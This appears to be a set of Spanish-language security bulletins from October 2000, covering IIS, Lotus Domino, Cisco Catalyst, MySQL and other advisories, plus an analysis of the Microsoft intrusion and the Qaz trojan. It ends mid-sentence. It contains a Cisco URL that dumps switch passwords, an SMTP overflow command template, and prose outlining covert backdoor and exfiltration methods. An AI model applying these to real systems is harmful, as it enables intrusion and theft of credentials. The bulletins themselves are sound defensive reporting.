martes, 31 de octubre de 2000

Vulnerabilidad de inspección de nombre en CGIs

Se ha descubierto una vulnerabilidad que afecta a Microsoft Internet
Information Server en sus versiones 4.0 y 5.0 cuando el servidor web
realiza el tratamiento de un archivo CGI. Un atacante puede leer el
sistema de archivos y ejecutar comandos mediante esta debilidad.
En el tratamiento de una aplicación CGI, bien se trate de archivos
.exe, .pl, .php, etc. Internet Information Server no realiza una
adecuada verificación del nombre del archivo, lo cual puede hacer que
si se incluye un carácter especial en el nombre del archivo el
servidor abra o ejecute un fichero de forma errónea.

Si se realiza una petición HTTP mal construida que efectúe una llamada
a un programa .exe o .com que se encuentre en un directorio
ejecutable, IIS tratará de cargar el programa y comprobar la
existencia y tipo del archivo primero. El atacante podrá engañar al
programa cargador para que compruebe un archivo no solicitado mediante
la inserción de un carácter especial en el nombre de archivo.

Si el fichero objetivo existe, es un archivo batch y es de texto plano
con un tamaño mayor de 0 bytes, IIS automáticamente llamará al cmd.exe
para su ejecución. La otra parte del nombre del archivo se tratará por
cmd.exe como parámetros del programa batch. De esta forma un atacante
podrá lograr la ejecución de comandos mediante la inserción de
determinados caracteres como "&".

Microsoft ha publicado un parche para evitar los problemas que puedan
surgir de esta vulnerabilidad. En los sistemas con IIS 4.0 deberá
instalarse el SP6 con el cual se soluciona este problema. A pesar de
que la compañía recomienda la instalación inmediata de este parche, no
informa de su disponibilidad para las versiones españolas del sistema
operativo, encontrándose solamente disponible en los siguientes
idiomas:

Inglés
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25547
Chino simplificado
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25580
Chino tradicional
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25581
Alemán
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25582
Japonés
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25583



Antonio Ropero
antonior@hispasec.com


Más información:

Boletín de Microsoft
http://www.microsoft.com/technet/security/bulletin/MS00-086.asp

Securityfocus
http://www.securityfocus.com/vdb/bottom.html?vid=1912

Aviso seguridad de NSFocus
http://www.nsfocus.com/english/homepage/sa_07.htm



lunes, 30 de octubre de 2000

Desbordamiento de búfer en el servidor SMTP de Lotus Domino

Se ha descubierto un problema de desbordamiento de búfer en el
servidor de correo de Lotus Notes/Domino 5 por el cual un atacante
remoto puede lograr la ejecución de código en el servidor.
El servidor SMTP de Lotus Domino/Notes soporta el parámetro ENVID,
que según se define en la RFC 1891 se emplea para propagar un
identificador de la "envoltura del mensaje" con el propósito de
permitir al emisor del mensaje identificar las transacciones por
las cuales se ha llegado a emitir algún DSN (Delivery Status
Notification).

Sin embargo no se comprueba de forma adecuada la entrada de datos en
este parámetro, lo que permite a un atacante realizar un ataque de
desbordamiento de búfer a través de él. La vulnerabilidad puede llegar
a ser explotada para lograr la ejecución de código en la máquina
atacada.

El parámetro ENVID es una palabra clave opcional que se puede incluir
junto con el comando MAIL FROM de la siguiente forma:

MAIL FROM: ENVID=´...cadena de 900 caracteres de
longitud...´

De esta forma cuando se envía el comando la cadena introducida
desbordará el búfer. Mediante la introducción de datos maliciosamente
creados puede provocarse la ejecución de código. En caso de fallo,
todos los servicios del servidor Notes se pararan por lo que será
necesario su reinicio de forma manual. Posiblemente también será
necesario modificar o borrar los archivos log.nsf y mail.box.



Antonio Ropero
antonior@hispasec.com


Más información:

Securityfocus:
http://www.securityfocus.com/vdb/?id=1905

Bugtraq:
http://www.securityfocus.com/archive/1/143071



domingo, 29 de octubre de 2000

Vulnerabilidad en el Monitor de Red de Windows NT

Internet Security Systems ha descubierto una vulnerabilidad de
desbordamiento de búfer explotable en la utilidad de Monitor de Red de
Windows NT.
La vulnerabilidad descubierta es totalmente explotable lo que brinda
al atacante la posibilidad de ejecutar cualquier código en el
ordenador remoto y lograr los privilegios del usuario actual, con la
particularidad de que el Monitor de Red sólo puede ser ejecutado por
el Administrador, con lo que el atacante logrará obtener privilegios
administrativos en caso de lograr realizar el ataque con éxito.

El Monitor de Red es una utilidad de administración de red que se
instala de forma opcional con Windows NT 4.0 o Windows 2000. Esta
herramienta permite a los administradores conocer el tráfico de red en
todo momento, por este motivo su uso es bastante frecuente.

Existen dos versiones del producto, la básica incluida con el sistema
operativo y la completa que se incluye como una parte de Systems
Management Server (SMS). Si bien la versión sencilla simplemente
muestra el tráfico, presentando el estado actual de ocupación y
peticiones, la versión avanzada incluye un sniffer, esto es, es capaz
de configurar la tarjeta de red en modo promiscuo y capturar toda la
información que circula en todo el segmento de red. Ambas versiones
se ven afectadas por el problema, que está causado por un
desbordamiento de búfer en los analizadores de protocolo de la
utilidad.

Los analizadores de protocolo residen en librerías (dlls) y su función
radica en identificar y examinar los diferentes protocolos empleados
para la transmisión de datos por la red. Según los analizadores
realizan su función se muestran los datos capturados en la ventana del
Monitor de Red.

La identificación y captura de cada protocolo se realiza por un
analizador diferente, así por ejemplo cuando se detecta tráfico http
el analizador http lo captura e interpreta para mostrar los datos y
estadísticas en la utilidad. El Monitor de Red dejará de funcionar
cuando intente interpretar datos mal construidos de forma
malintencionada. En este caso se provocará un desbordamiento de búfer
que podrá ser empleado por un atacante para lograr el control del
servidor.

Microsoft ha publicado un parche destinado a solucionar este problema,
la actualización pueden encontrarse en las siguientes direcciones:

Para Microsoft Windows NT 4.0 Server:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25487

Para Microsoft Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25485

Para Microsoft Systems Management Server 1.2:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25505

Para Microsoft Systems Management Server 2.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25514



Antonio Ropero
antonior@hispasec.com


Más información:

Boletín de Microsoft
http://www.microsoft.com/technet/security/bulletin/ms00-083.asp

Preguntas y respuestas sobre la vulnerabilidad
http://www.microsoft.com/technet/security/bulletin/fq00-083.asp

Aviso de ISS
http://xforce.iss.net/alerts/advise69.php



sábado, 28 de octubre de 2000

Caso Microsoft: otras hipótesis

Si dejamos a un lado la posibilidad, bastante remota como ha quedado
demostrada, de que "Qaz" actuara como puerta trasera desde la propia
red interna de Microsoft, podemos contemplar otras hipótesis. El
fin del presente no es intentar reproducir fielmente lo sucedido,
cosa complicada al no disponer de datos fiables y dada las múltiples
posibilidades que pudieron haber acontecido, si bien se pretende
presentar situaciones más viables de corte similar con la idea
de que puedan ayudarnos a reflexionar sobre la seguridad de nuestras
redes.
- Algunos lectores, entre el gran número de mensajes que están
llegando en relación a este caso, apuntan la posibilidad de que "Qaz",
o un backdoor similar, fuera utilizado para conectar con un ordenador
individual con acceso remoto a la red local interna. Por ejemplo, el
caso de un trabajador de Microsoft que desde su casa tuviera acceso
remoto a la red local. ¿Es viable?

Si, totalmente. En este caso, tal y como describimos en la anterior
entrega, "Qaz" se muestra efectivo al tratarse de un ordenador que
puede conectar directamente a Internet, sin necesidad de utilizar un
proxy intermedio o contar con un cortafuegos que filtre sus
conexiones. Una vez infectado el ordenador doméstico del trabajador,
"Qaz" envía la dirección IP de la máquina al atacante y abre el puerto
TCP 7597 para que pueda introducirse por él desde Internet. En
cualquier caso, nos encontraríamos con que el trabajador no cuenta con
un antivirus actualizado o un firewall personal, ya que de otra forma
habría detectado la presencia de "Qaz" en su sistema.

- ¿Qué podría hacer el atacante en el ordenador doméstico del empleado
de Microsoft a través de "Qaz"?

"Qaz" tiene unas características como backdoor muy limitadas, pero
suficientes para instalar otras herramientas más avanzadas. Los
comandos soportados como backdoor comprenden la ejecución de
programas (Run), la posibilidad de enviar ficheros al sistema
infectado (Upload), y la desactivación de "Qaz" (Quit). Aunque muy
básicos, estos comandos permiten el poder instalar herramientas más
sofisticadas para controlar de forma remota los sistemas.

- ¿Pudo robar el nombre de usuario y contraseña del empleado
utilizados para autentificarse en la red local de Microsoft y hacerse
pasar por él a posteriori?

Si, es posible, pudo descargar e instalar programas especialmente
diseñados para robar las contraseñas. Aunque los accesos remotos
ante redes seguras pueden incluir, además de un nombre y contraseña,
otros elementos añadidos durante la fase de autentificación que
puede ir desde restricciones según la dirección IP de origen, hasta
el uso de tokens vía hardware, como las smarts cards.

- Si Microsoft usa autentificación básica, basada únicamente en nombre
de usuario y contraseña, parece fácil que el atacante pueda hacerse
pasar por el usuario y entrar en la red local. Pero, ¿pudo el atacante
acceder a la red interna de Microsoft si utiliza otros sistemas de
autentificación más sofisticados?

Si, una vez vulnerado el ordenador que realiza la conexión con la
red interna, y la posibilidad de instalar herramientas de control
total, cada vez que el usuario legítimo se autentifica con la red
interna abre una puerta al atacante. Imaginemos que Microsoft
instala dispositivos biométricos en casa de sus empleados de
forma que para entrar en su red toma la huella digital o escanea
el iris para comprobar que se trata de un usuario legítimo. El
atacante tan sólo tendría que esperar a que la víctima lleve a
cabo el proceso de autentificación, la red de Microsoft le permita
su acceso, y a partir de ahí puede utilizar el ordenador personal
de la víctima como puente para llevar a cabo sus acciones o
limitarse a recopilar la información que el usuario maneja en sus
transacciones con la red local.

- Ya tenemos al atacante dentro de la red interna de Microsoft, ¿qué
puede hacer ahora?

Todo depende de los privilegios que el empleado legítimo de Microsoft
tenga desde su acceso remoto. Puede que tenga un nivel bajo y sólo le
esté permitido realizar ciertas lecturas, o puede tratarse de un
administrador de sistemas que lleva a cabo acciones más comprometidas
con privilegios de configuración, escritura, ejecución y acceso
indiscriminado.

- Si el empleado tiene acceso restringido, ¿puede ampliar sus
privilegios para acceder a otras zonas más sensibles o actuar
cómo administrador?

De nuevo depende de los privilegios iniciales con los que cuente,
aunque en sistemas Windows la escalada de privilegios no resulta
excesivamente complicada debido a la propia naturaleza de estos
sistemas. Una vez logrados privilegios de escritura y ejecución el
atacante podría instalar algún "sniffer" para escuchar el tráfico de
la red local y capturar las contraseñas de otros usuarios y datos
sensibles que viajen por la red interna.

- Bajo esta hipótesis, es "Qaz" una buena herramienta para el
atacante.

No, es un troyano reconocido por los antivirus, y sus posibilidades
como backdoor son muy básicas, lo que obliga al atacante a descargar
y ejecutar nuevas herramientas de control. Es más fácil utilizar
desde un primer momento un backdoor con características más
avanzadas, así como sería recomendable su programación personalizada
para evitar ser reconocido cómo malware.

- ¿Responsabilidad del trabajador o de Microsoft?

No conozco la política de seguridad de Microsoft en relación a los
sistemas de acceso remoto, no podría decir si el problema ha surgido
por una falta de previsión de Microsoft o por dejación del trabajador.
Lo que queda claro, bajo esta hipótesis, es que la cadena se rompe
por el eslabon más débil, y que las políticas de seguridad deben
contemplar todos los elementos que forman parte de sus sistemas,
incluido los ordenadores domésticos utilizados para trabajar.

- En la anterior entrega comentaste que era posible introducirse
en la red interna de Microsoft de forma similar a la descrita en
las primeras hipótesis, de forma más optimizada, y salvando las
dificultades con las que "Qaz" se habría encontrado, ¿cómo?

En primer lugar, "Qaz" se presenta de forma visible, necesita que
la víctima ejecute el fichero adjunto, y además es reconocido por
los antivirus. Una forma más elegante de llegar a la víctima podría
ser mediante algunas de las vulnerabilidades descubiertas por
Guninski, que son públicas antes de que Microsoft facilite solución
alguna. Muchas de estas vulnerabilidades permiten introducir código
de forma interna en un mensaje HTML, ejecutarse con tan sólo
visualizar el mensaje, y sin necesidad de que el usuario abra un
fichero adjunto.

Para asegurar que el usuario de la red interna de Microsoft lea el
mensaje, el atacante, haciendo uso de la Ingenieria Social, escribiría
un asunto muy sugerente, para terminar escribiendo en el cuerpo del
mensaje un texto publicitario. Esta combinación provoca que el
trabajador de Microsoft abra el mensaje y tras comprobar que se trata
de publicidad termine por eliminarlo. Durante este proceso, el código
del atacante se habrá ejecutado e instalado en el sistema, y además
se consigue que el mensaje tenga bastantes opciones a ser eliminado,
con lo que se borrará el rastro de entrada.

- Bien, has conseguido entrar en la red interna de Microsoft, de
manera similar, aunque más optimizada, a cómo lo podría haber hecho
"Qaz", pero, ¿cómo conectas con el ordenador de la víctima en la red
local si no puedes interrogar su dirección IP interna y además hay un
cortafuegos entre ambos?

La solución es fácil, no es necesario abrir puertos TCP en el
ordenador del usuario ni conectar de forma directa con él. El código
instalado a través de algunos de los agujeros de Guninski podría ser
una especie de backdoor offline, que recoja las instrucciones a
través de macros que lee de forma periódica desde un fichero vía web.
Es decir, el atacante situaría las instrucciones en una web, el
backdoor se conecta regularmente a esa dirección vía el servidor
proxy para recoger el fichero y ejecutar los comandos. Tanto el
servidor proxy como el cortafuegos de Microsoft, en teoría, no deben
encontrar nada irregular en estas conexiones, ya que son exactamente
iguales a las conexiones que el usuario realiza mientras navega por
Internet.

- En las primeras hipótesis algunos medios contemplaron la posibilidad
de que se tratara de piratas rusos, ya que supuestamente enviaban
la información obtenida a una dirección de correo en Rusia. ¿esta
lectura es correcta?

Es muy probable que no, ya que una de las técnicas básicas en estos
casos consiste en contar con diferentes ordenadores que actúan
como puentes, a ser posible en diferentes países, con el fin de
dificultar el rastreo hasta el origen del ataque. Lo más probable es
que los atacantes se encuentren en un país distinto al que apunta la
primera evidencia.

No siempre es necesario utilizar un buzón de correo para enviar la
información, ya que facilita la monitorización en caso de que el
ataque fuera descubierto. Otra opción consiste, por ejemplo, en
utilizar como destino de la información algún foro público. Siguiendo
con nuestra hipótesis, supongamos que la información sensible obtenida
por el backdoor es almacenada en un fichero en un formato comprimido
propietario y/o cifrado. Es fácil por ejemplo implementar una versión
de ZIP que no pueda ser descomprimida por una utilidad estándar. Este
fichero podría ser enviado a una news de mucho tráfico y donde es
normal se adjunten ficheros. Por ejemplo, podríamos renombrarlo como
xxxx.jpg y enviarlo a una news de gráficos de sexo. Los usuarios que
descargaran el fichero creerán que se encuentra corrupto, ya que
no lo pueden visualizar. El atacante podrá descomprimirlo con
su versión de ZIP y acceder a la información sensible. Si la
víctima descubre el ataque, le sería imposible monitorear e intentar
el rastreo entre cientos o miles de usuarios que acceden a diario
al fichero.
Por último, agradecer los mensajes que los lectores me han hecho
llegar respecto a este caso, cuyos comentarios y consultas son la
base de este guión, a la espera de que el presente haya servido
de ayuda.



Bernardo Quintero
bernardo@hispasec.com


Más información:

Declaración oficial de Microsoft
http://www.microsoft.com/technet/security/001027.asp

26/10/2000 - Caso Microsoft: la filtración
http://www.hispasec.com/unaaldia.asp?id=732

27/10/2000 - Caso Microsoft: debilidades en el planteamiento
http://www.hispasec.com/unaaldia.asp?id=733



viernes, 27 de octubre de 2000

Caso Microsoft: debilidades en el planteamiento

La filtración original en el Wall Street Journal, de una fuente no
identificada, sitúa al troyano "Qaz" como la herramienta usada por
los atacantes para introducirse en la red interna de Microsoft. Este
rumor no confirmado se ha convertido en la hipótesis "oficial" a la
que medios y "expertos" han recurrido para explicar el ataque. Vamos
a ver sus principales puntos débiles, tanto de la hipótesis como del
troyano, que lo convierten en una herramienta que ni siquiera
cumpliría su objetivo contra la red de cualquier mediana empresa.
- ¿Cómo funciona "Qaz"?

"Qaz" es un ejecutable Win32, escrito en Visual C++. Cuando se
ejecuta, busca una copia del fichero NOTEPAD.EXE (Bloc de Notas de
la carpeta Windows) y lo renombra como NOTE.COM, a continuación
"Qaz" se copia con el nombre de NOTEPAD.EXE. Esto provoca que, cada
vez que se intente lanzar el Bloc de Notas en un sistema infectado,
primero se ejecuta el troyano, y éste a su vez llama a NOTE.COM,
por lo que el usuario no percibe a primera vista ninguna
irregularidad. El troyano es capaz de propagarse a través de las
unidades compartidas de las redes locales, donde intenta localizar
la carpeta de Windows, para lo cual, busca la cadena "WIN", y realiza
con NOTEPAD.EXE la misma operación ya descrita. Por último, destaca
en "Qaz" su funcionalidad como backdoor, envía la dirección IP de los
ordenadores infectados a su autor vía correo electrónico (a buzones
localizados en China originalmente), y abre una puerta trasera en el
puerto TCP 7597, por el cual el autor del virus puede acceder de
forma remota al sistema de sus víctimas.

- La víctima: el empleado de Microsoft

En una red local los ordenadores no se conectan directamente a
Internet, sino que cuentan con un servidor proxy a través del
cual se comunican con el exterior, ya sea para recoger/enviar
correo, visitar páginas webs o cualquier otra conexión. Este
esquema también supone un primer nivel de seguridad, al impedir
las conexiones directas desde/hacia el exterior, y es el mismo
que cualquier pequeña o mediana empresa utiliza para aprovechar
la conexión de varios ordenadores mediante una única línea
telefónica.

- Problema en el planteamiento

En el caso de que "Qaz" infectara un ordenador de una red local,
ejemplo Microsoft, el troyano abriría en esa máquina el puerto
TCP 7579 y enviaría a continuación la dirección IP local de la
víctima al atacante por correo electrónico a través del proxy. Una
vez recibida la dirección IP, el atacante no puede conectarse a ese
ordenador, ya que esa IP es interna y no está accesible desde
Internet. Cuando se trata de un usuario particular, que accede
de forma directa a Internet, "Qaz" si se muestra efectivo.

- ¿Podría el atacante conocer la dirección del servidor proxy?

De forma fácil, ya que podría recibir la dirección en la cabecera del
mensaje de correo electrónico que manda "Qaz". El atacante si podría
intentar interactuar con la dirección IP del proxy, si bien no
podría acceder remotamente por la puerta trasera vía TCP 7579, ya
que el proxy no se encuentra infectado.

- Si "Qaz" se transmite a través de las redes locales, ¿no podría
haber infectado al servidor proxy?

"Qaz" sólo se transmite entre las unidades compartidas de una red
local. Un proxy por defecto, bien configurado, no debe compartir
su unidad sin ningún tipo de protección.

- Bueno, tal vez el proxy de Microsoft estuviera mal configurado, ¿no?

En cualquier caso, sería necesario que compartiera toda la unidad
con acceso lectura/escritura (un error aun menos probable), ya que
"Qaz" busca la carpeta de "Windows" para escribir en ella la
copia del troyano.

- Vale, aunque imposible, supón que hubiera llegado allí

"Qaz" no es capaz de ejecutarse a través de la red local, sólo
sitúa el fichero infectado en una posición óptima para que un
usuario lo ejecute (simulando al bloc de notas). En el caso del
servidor proxy de una gran empresa no hablamos de un terminal
que se utilice como una estación de trabajo por un usuario, sino
de un servidor dedicado, lo que dificultaría también que se
ejecutara.

- Bueno, una posibilidad entre 1 millón, pero pudo darse, ¿no?

Hasta ahora sólo habíamos hablado del servidor proxy cómo escalón
de seguridad, en cualquier empresa con una política de seguridad
mínima debemos de contar con la figura del cortafuegos que filtra
las conexiones en base a una configuración, cómo mínimo se limita
el acceso sólo a través de unos determinados puertos. Un troyano
tan limitado como "Qaz" tampoco salvaría este obstáculo, el
cortafuegos impediría la conexión desde el exterior.

- ¿Existen más puntos en contra?

Si, "Qaz" es un troyano conocido desde principios de agosto, la
mayoría de las casas antivirus detectan y eliminan desde entonces
este espécimen. Muchas empresas utilizan distintos niveles de
protección antivirus, que llegan hasta el chequeo de los mensajes
de correo electrónico en el servidor, lo que hubiera impedido que
llegara el troyano al empleado de Microsoft.

- Bueno, tal vez se utilizó contra éste empleado en un primer
momento, antes que las casas lo identificaran y detectaran

La versión original de "Qaz" enviaba los mensajes de correo
electrónico a una cuenta de China, en este caso se trataría
de una versión modificada (posterior) que un atacante configura
para beneficio propio. Aunque se hubiera utilizado antes de
que los antivirus lo incluyeran en su base de datos de firmas,
un antivirus local con una actualización más o menos reciente
lo habría detectado a posteriori.

- ¿Es normal que un "hacker" (deberíamos decir "cracker") de
cierto nivel, cómo para comprometer a Microsoft, utilice un
troyano de estas características?

No, cualquier atacante de cierto nivel programará las herramientas
de forma personalizada, lo que le permite ajustarse a las necesidades
de la operación y asegurarse de que ningún antivirus va a detectarlo
cómo "malware".

- ¿Es posible que con un esquema similar, evitando las debilidades
intrínsecas de "Qaz", se haya podido llevar una intrusión en la red
de Microsoft?

Si, hay muchas formas de vulnerar la seguridad de una red, sobre todo
en entornos basados en los productos de Microsoft. Es posible realizar
un ataque similar, más efectivo, basado en las propias debilidades
de Windows, sin necesidad de una cabeza de turco como "Qaz".

- ¿Por ejemplo?

En la próxima entrega.



Bernardo Quintero
bernardo@hispasec.com


Más información:

11/08/2000 - "Qaz": troyano, backdoor y gusano
http://www.hispasec.com/unaaldia.asp?id=655

26/10/2000 - Caso Microsoft: la filtración
http://www.hispasec.com/unaaldia.asp?id=732



jueves, 26 de octubre de 2000

Caso Microsoft: la filtración

El pasado viernes todos los medios de comunicación se hacían eco de
la noticia de un ataque "hacker" en la red interna de Microsoft. Entre
las declaraciones, desmentidos y especulaciones, el único dato técnico
concreto de la filtración era la supuesta utilización del troyano
"Qaz", algo que técnicamente no se sostiene. Antes de entrar en
detalles, vamos a dedicar esta primera entrega a lo ya publicado, para
continuar en una segunda con los errores de este planteamiento y, por
último, proponer alguna hipótesis más viable que afecta de lleno a la
seguridad de cualquier empresa que utilice los productos de Microsoft,
incluida ella misma.
La noticia salta cuando el Wall Street Journal publica que unos
"hackers" sin identificar podrían haber accedido al código fuente
del software de Microsoft, incluyendo las últimas versiones de Windows
y Office. Este mismo diario cita a un familiar sin identificar de una
persona cercana al caso, que filtra el nombre del troyano "Qaz" como
posible herramienta para introducirse en la red interna de Microsoft
a través de un mensaje de correo electrónico. El troyano, tras ser
ejecutado por un empleado de Microsoft, habría abierto una puerta
trasera en el ordenador infectado que facilitara el acceso al
atacante y la posterior instalación de otras herramientas para
conseguir contraseñas y acceso a información sensible.

Los ríos de tinta se desatan tras las declaraciones de Rick Miller,
portavoz de Microsoft, donde confirma que han sido víctimas "de un
deplorable acto de espionaje industrial y trabajaremos para proteger
nuestra propiedad intelectual", al mismo tiempo que anuncia la
investigación abierta por el FBI en relación a este caso. A partir
de aquí comienzan las especulaciones sobre el nivel de acceso que los
intrusos habrían podido alcanzar, en especial la posibilidad y
repercusión de la lectura y/o modificación del código fuente de
algunos de sus productos.

Otros datos filtrados fue que la información extraida de la red
interna de Microsoft en Redmon era enviada a una cuenta de correo en
San Petersburgo (Rusia), lo que provocó que algunos titulares
anunciaran el ataque a Microsoft por parte de "piratas rusos".

De momento sólo se puede confirmar que sea lo que haya ocurrido en
Microsoft es tan grave como para pedir al FBI su investigación y
reconocer en público la intrusión. El resto de detalles debemos de
recibirlos con total escepticismo, más aun cuando resultan poco
sostenibles, tal y como vamos a comprobar en la próxima entrega.



Bernardo Quintero
bernardo@hispasec.com


Más información:

Ataque a Microsoft
http://www.elpais.es/p/d/especial/graficos/robo.htm

Piratas rusos acceden por la Red al código de programas de Microsoft
http://www.cincodias.es/scripts/cincodias/noticias/articulo.asp?ntc=179344&ap=9

Microsoft, víctima del "ciberespionaje" industrial
http://www.elmundo.es/navegante/diario/2000/10/27/microsoft.html

Roban los códigos de las últimas versiones de Office y Windows
http://ibrujula.com/news/noticia.php3?id=10634

La obtención de los códigos de Windows y Office desata la tormenta
http://ibrujula.com/news/noticia.php3?id=10656

Microsoft deberá revisar, por nuestra seguridad, los códigos
fuente de sus nuevos productos
http://www.larazon.es/lared/laredmicro2.htm

Microsoft: big hack attack
http://cnnfn.cnn.com/2000/10/27/technology/microsoft/

Hackers Break Into Microsoft System
http://news.excite.com/news/ap/001027/02/microsoft-hackers

How did it happen?
http://www.msnbc.com/news/481998.asp

Microsoft hacked! Code stolen?
http://www.zdnet.com/zdnn/stories/news/0,4586,2645850,00.html

MS hack: Was source code altered?
http://www.zdnet.com/zdnn/stories/news/0,4586,2645871,00.html

Hackers attack Microsoft secrets
http://www.globetechnology.com/archive/gam/News/20001028/RMICR.html

Hackers find way to Microsoft blueprints
http://www.charlotte.com/observer/business/pub/microsoft1028.htm

Hackers Crack Microsoft
http://www.mobilecomputing.com/shownews.cgi?1029

Microsoft: Hackers Access Code But None Is Stolen
http://www.telecomlibrary.com/article/IWK20001027S0005

Microsoft Infiltrated By Hackers
http://washingtonpost.com/wp-dyn/articles/A28740-2000Oct27.html

Microsoft Rises After Hackers´ Break-In
http://www.smartmoney.com/bn/smw/index.cfm?story=20001027011207

Microsoft calls in FBI after hacker attack
http://www.upside.com/News/39f9a0122.html

FBI probing Microsoft hacker break-in
http://cnews.tribune.com/news/tribune/story/0,1235,tribune-nation-81286,00.html

Hackers break Microsoft´s network; steal MS code
http://www.maccentral.com/news/0010/27.hacker.shtml

Windows, Office safe from hackers
http://www.upside.com/News/39f9d9242.html

Hackers saw Microsoft source code
http://www.vnunet.com/News/1113113



miércoles, 25 de octubre de 2000

Nuevo parche para la MV Java de Microsoft

Microsoft facilita un nuevo parche para su máquina virtual Java que
corrige una vulnerabilidad que permite leer archivos del cliente al
visualizar una página o mensaje HTML.
Este problema, descubierto por Guninski, ya se publicó en Hispasec
"19/10/2000 - Guninski descubre una nueva vulnerabilidad", donde
además de conocer los detalles pueden ver una demostración en línea
y comprobar si se encuentran afectados:

http://www.hispasec.com/unaaldia.asp?id=725

Esta vulnerabilidad sólo puede ser explotada para leer, y no es tan
grave como la anterior que prácticamente permitía el control total
del sistema:

03/10/2000 - Grave vulnerabilidad en Internet Explorer y Outlook
http://www.hispasec.com/unaaldia.asp?id=709
11/10/2000 - Parche *obligado* para usuarios de Windows 9x/Me/NT/2000
http://www.hispasec.com/unaaldia.asp?id=717

Si bien esta nueva vulnerabilidad se presenta en principio en Internet
Explorer y Outlook Express, la máquina virtual Java de Microsoft se
distribuye en todas las versiones de Windows y puede ser utilizada
por otros programas. Por ello se recomienda a todos los usuarios de
Windows la actualización a la nueva versión 3319.

Microsoft Virtual Machine (Build 3319, released 10/25/00)
http://www.microsoft.com/java/vm/dl_vm40.htm



Bernardo Quintero
bernardo@hispasec.com


Más información:

Patch Available for New Variant of "VM File Reading" Vulnerability
http://www.microsoft.com/technet/security/bulletin/MS00-081.asp

FAQ Microsoft Security Bulletin (MS00-081)
http://www.microsoft.com/technet/security/bulletin/fq00-081.asp



martes, 24 de octubre de 2000

Vulnerabilidad en los servidores seguros basados en Windows

La vulnerabilidad afecta a los servidores Internet Information Server
en sus versiones 4 y 5 para Windows NT y 2000. El problema, que
deriva del uso de las cookies para identificar las sesiones, permite
a un atacante hacerse pasar por otro usuario ante un servidor seguro.
Internet Information Server utiliza cookies para identificar las
sesiones web de los usuarios. El problema se presenta porque las
páginas .ASP no soportan la creación de cookies de identificación
para sesiones seguras, tal y como se define en el RFC 2109.

Cuando un usuario visualiza páginas seguras y no seguras en un
servidor IIS está compartiendo la misma cookie de identificación en
ambas ocasiones. El resultado es que en las sesiones seguras la
cookie va cifrada bajo SSL, mientras que en la sesión no segura
viajará en texto claro, al alcance de cualquiera que pueda "escuchar"
el tráfico entre cliente y servidor. El atacante puede utilizar
entonces la cookie de identificación para hacerse pasar por la
víctima ante el servidor seguro y realizar cualquier operación.

Microsoft facilita un parche para corregir la vulnerabilidad cuya
instalación es obligatoria para todos aquellos servidores basados
en Internet Information Server que ofrezcan sesiones seguras con
páginas .ASP (servicios de banca, comercios electrónicos, etc.).

Parche para IIS 4.0
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25233

Parche para IIS 5.0
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25232



Bernardo Quintero
bernardo@hispasec.com


Más información:

Patch Available for "Session ID Cookie Marking" Vulnerability
http://www.microsoft.com/technet/security/bulletin/MS00-080.asp

FAQ Microsoft Security Bulletin (MS00-080)
http://www.microsoft.com/technet/security/bulletin/fq00-080.asp

Remote Retrieval Of IIS Session Cookies From Web Browsers
http://www.securityfocus.com/archive/1/141051



lunes, 23 de octubre de 2000

Ejecución de comandos sin autorización sobre Cisco Catalyst 3500

La serie de switches de Cisco Catalyst 3500 XL se emplean con gran
frecuencia en entornos de redes locales o intranets. Una
vulnerabilidad existente en la interfaz web de administración hace
posible la ejecución de comandos sin ningún tipo de autentificación.
Aunque el problema se ha encontrado en la serie Catalyst 3500 XL es
muy posible que todos los conmutadores Catalyst sean vulnerables a
este problema, por el empleo del mismo software (o muy similar). Los
dispositivos afectados disponen de una interfaz de administración por
web. El problema radica en que dicha interfaz permite a los usuarios
web anónimos la ejecución de comandos sin necesidad de realizar ningún
tipo de autentificación.

De esta forma, el ataque queda a la mano de cualquier usuario de la
red. Un usuario malicioso simplemente deberá introducir la ruta /exec
tras el nombre del servidor web.

Por ejemplo: http://siwtch_catalyst/exec/show/config/cr

Con esta URL el usuario obtendrá el archivo de configuración, en el
que se muestran todas las contraseñas de los usuarios. Tras lo cual ya
podrá acceder al conmutador de forma directa. Hasta que Cisco publique
un parche que solucione esta vulnerabilidad, la única forma de evitar
los posibles ataques pasa por desactivar completamente la interfaz de
configuración web.



Antonio Ropero
antonior@hispasec.com


Más información:

Securityfocus
http://www.securityfocus.com/vdb/bottom.html?vid=1846

Bugtraq
http://www.securityfocus.com/archive/1/141471



domingo, 22 de octubre de 2000

Compromiso de contraseñas en bases de datos MySQL

MySQL es sin duda una de las bases de datos del mundo Linux más
populares y extendidas. Una base de datos relacional totalmente
open-source que emplea un sistema de desafío-respuesta para la
autentificación, pero este mecanismo no se puede considerar
criptográficamente robusto.
El motor de MySQL está diseñado para prevenir la transmisión de
contraseñas en texto plano por la red, así como su almacenamiento en
texto plano. Para evitar esto, en todas las versiones de MySQL se hace
uso de un método de autentificación basado en un mecanismo de desafío
respuesta.

Aunque este método puede considerarse eficiente para el propósito con
que ha sido diseñado, el mecanismo de autentificación no se puede
considerar como criptográficamente fuerte. Más concretamente, cada vez
que un usuario se autentifica se filtra información suficiente como
para permitir a un atacante autentificarse ante el servidor de MySQL
falseando la identidad del usuario. Un espía de la red es capaz de
realizar este ataque con tan sólo presenciar unas pocas ejecuciones
del mecanismo de autentificación.

El proceso de autentificación de desafio-respuesta se basa en que el
servidor MySQL envía una cadena pseudoaleatoria al cliente que trata
de conectarse. Tras ello, el cliente genera y envía al servidor una
cadena de comprobación mediante un resumen de la contraseña almacenada
y la cadena recibida del servidor. El servidor comprobará si dicha
cadena de comprobación está generada mediante una firma de password
válida o no, lo que permite determinar la autenticidad del usuario.



Antonio Ropero
antonior@hispasec.com


Más información:

Aviso de Core-SDI
http://www.core-sdi.com/advisories/mysql_vulnerability.htm

Securityfocus
http://www.securityfocus.com/vdb/bottom.html?vid=1826



sábado, 21 de octubre de 2000

Vulnerables los servidores con JRun 2.3

Allaire JRun es una suite de desarrollo de aplicaciones basadas en
páginas JSP y Servlets en Java. Tras la instalación de este software
